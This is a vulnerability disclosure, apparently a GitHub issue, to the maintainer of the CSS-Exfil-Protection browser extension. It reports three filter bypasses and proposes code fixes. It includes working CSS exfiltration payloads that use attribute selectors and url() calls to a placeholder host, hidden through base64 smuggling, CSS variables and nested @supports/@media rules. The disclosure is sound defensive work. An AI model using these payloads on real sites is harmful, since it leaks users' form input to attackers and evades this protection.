Vulnerability disclosure

Hey Mike,

Like we talked via email, I'm posting here the details and the Proof of Concept of my research. I've been mainly testing on Brave, but this also affects the Firefox version.

Test Page: https://randshell.github.io/CSS-Exfil-Protection-POC/ Repo: https://github.com/randshell/CSS-Exfil-Protection-POC

Issue 1:

https://github.com/mlgualtieri/CSS-Exfil-Protection/blob/d0ad3ae654d040f5bfdd84a96c55827896572f6d/chrome/content.js#L242

In the current version of the extension, the above line is responsible for detecting all the URLs that contain //, unless the ;base64, value is found. This would indicate the content is base64 encoded, e.g.: url(data:image/png;base64,iVBORw0KGgoAAAANSU+h//EUgAAAaQAAA/GkCAYAAAB+TFE). In this case, the extension will ignore such rule.

The problem lies in not enforcing a strict matching of the ;base64, at the beginning of the url(). Thus, it's possible to craft a non base64 encoded URL by inserting this value as either an URL fragment, like http://url/pwned1.png#;base64,, or even as a filename, since the special characters ; and , are valid within an URL and within a filename, so http://url/;base64,pwned11.png.

The proposed fix I've found is changing the conditions to a stricter match, so:

(cssText.indexOf("//") !== -1 &&
            cssText.indexOf("url((\"|')data:[w]+/[w]+;base64,") === -1)

Issue 2:

CSS variables allow to split the CSS selector and the url() value in two different CSS Style Rules. In the context of this extension, the checks happen only for CSS selectors and url() in the same CSSStyleRule, so using CSS variables would allow for a bypass. E.g.:

:root {
  --link: url( 'http://url/pwned2.png' );
}

#exfil_test2[value*="abc"] ~ #exfil_img2 {
  background-image: var(--link);
}

Another similar way to insert a malicious URL is through CSS fallback values:

:root {
  --link: url( 'http://url/pwned2.png' );
}

#exfil_test2[value*="abc"] ~ #exfil_img2 {
  background-image: var(--nolink, var(--link));
}

Issue 3:

https://github.com/mlgualtieri/CSS-Exfil-Protection/blob/d0ad3ae654d040f5bfdd84a96c55827896572f6d/chrome/content.js#L236

Lastly, the above condition checks if the CSS Rule has any selectorText property, otherwise there is nothing to filter. This works for CSSStyleRule but not for others like CSSSupportsRule or CSSMediaRule, which in turn contain one or more CSSStyleRule and have no selectorText.

E.g.

@supports (display: flex) {
  @media screen and (min-width: 100px) {
    #exfil_test3[value*="abc"] ~ #exfil_img3 {
      background-image: url("http://url/pwned3.png");
    }
  }
}

In fact, these rules can also be nested multiple times, like for example:

@supports (display: flex) {
  @media screen and (min-width: 100px) {
    #exfil_test3[value*="abc"] ~ #exfil_img3 {
      background-image: url("http://url/pwned3.png");
    }
  }

  @supports (display: none) {
    @media screen and (min-width: 200px) {
      #exfil_test31[value*="abc"] ~ #exfil_img31 {
        background-image: url("http://url/pwned31.png");
      }
    }
  }
}

This means we would need to iterate through all the nesting, if present, in order to extract all the CSSStyleRule, which are the ones we need instead.

I put together the following fix. First, I've created a function which takes care of recursively extracting all the style rules:

function extractStyleRule(_obj) {
  let rules = [];
  if (
    Object.prototype.toString.call(_obj) != "[object CSSStyleRule]" &&
    _obj.cssRules != undefined // keyframes have no cssRules
  ) {
    for (let i = 0; i < _obj.cssRules.length; i++) {
      rules = rules.concat(extractStyleRule(_obj.cssRules[i]));
    }
  } else {
    rules.push(_obj);
  }

  return rules;
}

And then I've edited the beginning of parseCSSRules() before looping through all the selectors:

 var selectors = [];
 var selectorcss = [];

  trules = [];
  if (rules != null) {
    for (i = 0; i < rules.length; i++) {
      if (Object.prototype.toString.call(rules[i]) != "[object CSSStyleRule]") {
        var extracted_rules = extractStyleRule(rules[i]);
        //rules.splice(i,1);
        trules = trules.concat(extracted_rules);
      } else {
        trules.push(rules[i]);
      }
    }

    rules = trules; // or rename rules[0] to trules[0] everywhere in the function

I've haven't had a lot of time to work on a full implementation of the fix for the case based on CSS variables. Instead, I can confirm that the other two proposed fixes do work, though I'm open to any feedback for improvement. :slightly_smiling_face:

PoC screenshot:

mlgualtieri / CSS-Exfil-Protection

Vulnerability disclosure #41